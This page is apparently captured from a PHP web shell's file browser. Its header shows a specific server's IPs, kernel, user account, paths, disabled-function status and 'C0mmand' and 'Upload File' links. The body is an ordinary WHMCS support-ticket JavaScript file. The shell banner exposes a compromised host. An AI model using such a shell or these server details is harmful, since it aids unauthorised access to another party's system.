Server IP : 213.176.29.180 / Your IP : 3.149.247.95 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/webtaragh/public_html/whmcs/assets/js/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
jQuery(document).ready(function() { var spinner = jQuery('#withSelectedSpinner'), selectedTickets = []; spinner.hide(); WHMCS.ui.dataTable.getTableById( 'tblClientTickets', { 'dom': '<"listtable"><"row"<"col-md-6"i><"col-md-6"f><"col-md-12"t><"col-md-6"l><"col-md-6"p>>', 'aoColumnDefs': [ { 'bSortable': false, 'aTargets': [0, 1, 3] }, { "className": "dt-body-center", "targets": [0, 1] } ], 'order': [5, 'desc'], "oLanguage": { "sSearch": "Search Subject:", } } ); jQuery('#checkAllTickets').click(function (event) { var checked = this.checked; jQuery(event.target).parents('.datatable').find('input.ticket-checkbox:visible').each(function () { jQuery(this).prop('checked', checked); jQuery(this).trigger('change'); }); }); jQuery(document).on('change', '.ticket-checkbox', function () { if (jQuery(this).is(':checked')) { selectedTickets.push(parseInt(jQuery(this).val())); } else { selectedTickets.splice(selectedTickets.indexOf(parseInt(jQuery(this).val())), 1); } }); jQuery(document).on('click', '#ticketsClose,#ticketsDelete,#ticketsMerge', function (event) { event.preventDefault(); if (jQuery(this).attr('disabled')) { return; } var type = jQuery(this).attr('id'), name = eval(type); if (selectedTickets.length === 0) { swal({ title: missingSelections.title, html: true, text: missingSelections.text, type: missingSelections.type, confirmButtonText: missingSelections.confirmButtonText }); } else if (type === 'ticketsMerge' && selectedTickets.length === 1) { swal({ title: mergeError.title, html: true, text: mergeError.text, type: mergeError.type, confirmButtonText: mergeError.confirmButtonText }); } else { var btnDropdown = jQuery('#btnTicketsWithSelected'); swal( { title: name.title, html: true, text: name.text, type: name.type, showCancelButton: true, confirmButtonText: name.confirmButtonText, cancelButtonText: name.cancelButtonText }, function() { btnDropdown.prop('disabled', true).addClass('disabled'); spinner.fadeIn('fast'); WHMCS.http.jqClient.post( name.url, { token: csrfToken, ticketIds: selectedTickets } ).always(function(data) { window.location.reload(); }); } ); } }); });